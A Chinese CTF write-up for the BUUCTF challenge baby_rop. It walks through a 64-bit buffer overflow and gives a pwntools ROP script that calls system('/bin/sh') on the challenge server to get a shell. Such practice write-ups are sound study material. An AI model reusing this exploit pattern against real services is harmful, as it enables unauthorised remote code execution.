[BUUCTF]PWN——[HarekazeCTF2019]baby_rop

例行检查,64位,开启NX保护。
在这里插入图片描述
运行一下
在这里插入图片描述
用IDA打开。shift+f12检索字符串,看到了system和/bin/sh
在这里插入图片描述
shelladdr=0x601048
在这里插入图片描述
systemaddr=0x400496
在这里插入图片描述
查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
在这里插入图片描述
找到rdi的位置。
在这里插入图片描述
rdiaddr=0x400683

from pwn import*

r=remote('node3.buuoj.cn',27557)

shell=0x601048
system=0x400496
rdi=0x400683

payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)

r.sendline(payload)
r.interactive()

flag不在根目录下,利用find -name flag找一下
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/BangSen1/article/details/115309934